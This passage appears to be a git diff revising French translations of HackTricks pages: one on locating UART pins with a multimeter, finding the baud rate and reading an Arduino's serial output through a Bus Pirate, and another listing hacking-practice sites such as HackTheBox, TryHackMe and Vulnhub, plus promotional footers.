* Pour identifier la broche **GND**, utilisez le mode **Test de Continuité**, placez la sonde noire sur la masse et testez avec la rouge jusqu'à ce que vous entendiez un son du multimètre. Plusieurs broches GND peuvent être trouvées sur le PCB, donc vous pourriez avoir trouvé ou non celle appartenant à UART.
|
||||||
* Pour identifier le port **VCC**, réglez le mode **tension continue** et réglez-le jusqu'à 20 V de tension. Sonde noire sur la masse et sonde rouge sur la broche. Allumez l'appareil. Si le multimètre mesure une tension constante de 3,3 V ou 5 V, vous avez trouvé la broche Vcc. Si vous obtenez d'autres tensions, réessayez avec d'autres ports.
|
* Pour identifier le port **VCC**, réglez le mode **tension continue** et configurez-le jusqu'à 20 V de tension. Sonde noire sur la masse et sonde rouge sur la broche. Allumez l'appareil. Si le multimètre mesure une tension constante de 3,3 V ou 5 V, vous avez trouvé la broche Vcc. Si vous obtenez d'autres tensions, réessayez avec d'autres ports.
|
||||||
* Pour identifier le port **TX**, mode **tension continue** jusqu'à 20 V de tension, sonde noire sur la masse et sonde rouge sur la broche, et allumez l'appareil. Si vous trouvez que la tension fluctue pendant quelques secondes puis se stabilise à la valeur Vcc, vous avez probablement trouvé le port TX. C'est parce que lors de la mise sous tension, il envoie des données de débogage.
|
* Pour identifier le port **TX**, mode **tension continue** jusqu'à 20 V de tension, sonde noire sur la masse, et sonde rouge sur la broche, et allumez l'appareil. Si vous trouvez que la tension fluctue pendant quelques secondes puis se stabilise à la valeur Vcc, vous avez très probablement trouvé le port TX. Cela est dû au fait qu'au démarrage, il envoie des données de débogage.
|
||||||
* Le **port RX** serait le plus proche des trois autres, il a la plus faible fluctuation de tension et la valeur globale la plus faible de toutes les broches UART.
|
* Le port **RX** serait le plus proche des 3 autres, il a la fluctuation de tension la plus faible et la valeur globale la plus basse de toutes les broches UART.
|
||||||
|
|
||||||
Vous pouvez confondre les ports TX et RX et rien ne se passera, mais si vous confondez la broche GND et la broche VCC, vous pourriez endommager le circuit.
|
Vous pouvez confondre les ports TX et RX et rien ne se passerait, mais si vous confondez les ports GND et VCC, vous pourriez griller le circuit.
|
||||||
|
|
||||||
Avec un analyseur logique :
|
Avec un analyseur logique :
|
||||||
|
|
||||||
## Identification du débit binaire UART
|
## Identification du débit en bauds UART
|
||||||
|
|
||||||
La façon la plus simple d'identifier le débit binaire correct est de regarder la sortie de la broche **TX et d'essayer de lire les données**. Si les données que vous recevez ne sont pas lisibles, passez au débit binaire possible suivant jusqu'à ce que les données deviennent lisibles. Vous pouvez utiliser un adaptateur USB vers série ou un appareil polyvalent comme Bus Pirate pour cela, associé à un script d'aide, tel que [baudrate.py](https://github.com/devttys0/baudrate/). Les débits binaires les plus courants sont 9600, 38400, 19200, 57600 et 115200.
|
La manière la plus simple d'identifier le bon débit en bauds est de regarder la sortie de la broche **TX et d'essayer de lire les données**. Si les données que vous recevez ne sont pas lisibles, passez au débit en bauds suivant jusqu'à ce que les données deviennent lisibles. Vous pouvez utiliser un adaptateur USB-vers-série ou un dispositif polyvalent comme Bus Pirate pour ce faire, associé à un script d'aide, tel que [baudrate.py](https://github.com/devttys0/baudrate/). Les débits en bauds les plus courants sont 9600, 38400, 19200, 57600 et 115200.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Il est important de noter que dans ce protocole, vous devez connecter le TX d'un appareil au RX de l'autre !
|
Il est important de noter que dans ce protocole, vous devez connecter le TX d'un appareil au RX de l'autre !
|
||||||
|
@ -39,7 +54,7 @@ Il est important de noter que dans ce protocole, vous devez connecter le TX d'un
|
||||||
|
|
||||||
# Bus Pirate
|
# Bus Pirate
|
||||||
|
|
||||||
Dans ce scénario, nous allons intercepter la communication UART de l'Arduino qui envoie toutes les impressions du programme au moniteur série.
|
Dans ce scénario, nous allons espionner la communication UART de l'Arduino qui envoie toutes les impressions du programme au Moniteur Série.
|
||||||
```bash
|
```bash
|
||||||
# Check the modes
|
# Check the modes
|
||||||
UART>m
|
UART>m
|
||||||
|
@ -59,39 +74,39 @@ x. exit(without change)
|
||||||
# Select UART
|
# Select UART
|
||||||
(1)>3
|
(1)>3
|
||||||
Set serial port speed: (bps)
|
Set serial port speed: (bps)
|
||||||
1. 300
|
1. 300
|
||||||
2. 1200
|
2. 1200
|
||||||
3. 2400
|
3. 2400
|
||||||
4. 4800
|
4. 4800
|
||||||
5. 9600
|
5. 9600
|
||||||
6. 19200
|
6. 19200
|
||||||
7. 38400
|
7. 38400
|
||||||
8. 57600
|
8. 57600
|
||||||
9. 115200
|
9. 115200
|
||||||
10. BRG raw value
|
10. BRG raw value
|
||||||
|
|
||||||
# Select the speed the communication is occurring on (you BF all this until you find readable things)
|
# Select the speed the communication is occurring on (you BF all this until you find readable things)
|
||||||
# Or you could later use the macro (4) to try to find the speed
|
# Or you could later use the macro (4) to try to find the speed
|
||||||
(1)>5
|
(1)>5
|
||||||
Data bits and parity:
|
Data bits and parity:
|
||||||
1. 8, NONE *default
|
1. 8, NONE *default
|
||||||
2. 8, EVEN
|
2. 8, EVEN
|
||||||
3. 8, ODD
|
3. 8, ODD
|
||||||
4. 9, NONE
|
4. 9, NONE
|
||||||
|
|
||||||
# From now on pulse enter for default
|
# From now on pulse enter for default
|
||||||
(1)>
|
(1)>
|
||||||
Stop bits:
|
Stop bits:
|
||||||
1. 1 *default
|
1. 1 *default
|
||||||
2. 2
|
2. 2
|
||||||
(1)>
|
(1)>
|
||||||
Receive polarity:
|
Receive polarity:
|
||||||
1. Idle 1 *default
|
1. Idle 1 *default
|
||||||
2. Idle 0
|
2. Idle 0
|
||||||
(1)>
|
(1)>
|
||||||
Select output type:
|
Select output type:
|
||||||
1. Open drain (H=Hi-Z, L=GND)
|
1. Open drain (H=Hi-Z, L=GND)
|
||||||
2. Normal (H=3.3V, L=GND)
|
2. Normal (H=3.3V, L=GND)
|
||||||
|
|
||||||
(1)>
|
(1)>
|
||||||
Clutch disengaged!!!
|
Clutch disengaged!!!
|
||||||
|
@ -113,16 +128,14 @@ waiting a few secs to repeat....
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com).
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -19,21 +17,21 @@
|
||||||
|
|
||||||
## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue)
|
## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue)
|
||||||
|
|
||||||
Hackthebox a des machines en ligne à pirater, c'est le meilleur endroit pour apprendre en pratiquant. Si vous êtes nouveau, je vous recommande d'apprendre en faisant des machines retirées en suivant les vidéos d'Ippsec.
|
Hackthebox propose des machines en ligne à pirater, c'est le meilleur endroit pour apprendre en pratiquant. Si vous êtes débutant, je vous recommande d'apprendre en faisant des machines retirées en suivant les vidéos d'Ippsec.
|
||||||
|
|
||||||
L'académie HackTheBox est la nouvelle plateforme pour apprendre le piratage de manière plus guidée, c'est également une excellente ressource si vous voulez pratiquer le piratage d'une technologie spécifique !
|
L'académie HackTheBox est la nouvelle plateforme pour apprendre le hacking de manière plus guidée, également une excellente ressource si vous souhaitez pratiquer le hacking sur une technologie spécifique !
|
||||||
|
|
||||||
## [https://tryhackme.com/](https://tryhackme.com)
|
## [https://tryhackme.com/](https://tryhackme.com)
|
||||||
|
|
||||||
Tryhackme est une plateforme avec des machines virtuelles à résoudre à travers des didacticiels, ce qui est très bon pour les débutants et les CTF normaux où vous devez vous pirater vous-même dans les machines.
|
Tryhackme est une plateforme avec des machines virtuelles qui doivent être résolues à travers des tutoriels, ce qui est très bien pour les débutants et les CTFs normaux où vous devez pirater les machines vous-même.
|
||||||
|
|
||||||
## [https://www.root-me.org/](https://www.root-me.org)
|
## [https://www.root-me.org/](https://www.root-me.org)
|
||||||
|
|
||||||
Rootme est une autre page pour les machines virtuelles hébergées en ligne à pirater.
|
Rootme est une autre page pour des machines virtuelles hébergées en ligne à pirater.
|
||||||
|
|
||||||
## [https://www.vulnhub.com/](https://www.vulnhub.com)
|
## [https://www.vulnhub.com/](https://www.vulnhub.com)
|
||||||
|
|
||||||
Vulnhub a des machines à télécharger et à pirater.
|
Vulnhub propose des machines à télécharger puis à pirater.
|
||||||
|
|
||||||
## [https://hack.me/](https://hack.me)
|
## [https://hack.me/](https://hack.me)
|
||||||
|
|
||||||
|
@ -41,32 +39,30 @@ Ce site semble être une plateforme communautaire.
|
||||||
|
|
||||||
## [https://www.hacker101.com/](https://www.hacker101.com)
|
## [https://www.hacker101.com/](https://www.hacker101.com)
|
||||||
|
|
||||||
Site gratuit avec des vidéos et des CTF.
|
Site gratuit avec des vidéos et des CTFs.
|
||||||
|
|
||||||
## [https://crackmes.one/](https://crackmes.one)
|
## [https://crackmes.one/](https://crackmes.one)
|
||||||
|
|
||||||
Ce site a beaucoup de binaires pour l'apprentissage de la forensique.
|
Ce site a beaucoup de binaires pour l'apprentissage de la criminalistique.
|
||||||
|
|
||||||
## [https://www.hackthissite.org/missions/basic/](https://www.hackthissite.org/missions/basic/)
|
## [https://www.hackthissite.org/missions/basic/](https://www.hackthissite.org/missions/basic/)
|
||||||
|
|
||||||
## [https://attackdefense.com/](https://attackdefense.com)
|
## [https://attackdefense.com/](https://attackdefense.com)
|
||||||
|
|
||||||
## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard)
|
## [https://portswigger.net/web-security/dashboard](https://portswigger.net/web-security/dashboard)
|
||||||
|
Ce site Web propose de nombreux laboratoires d'exploitation Web.
|
||||||
|
|
||||||
Ce site Web a beaucoup de laboratoires d'exploitation Web.
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com).
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs exclusifs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue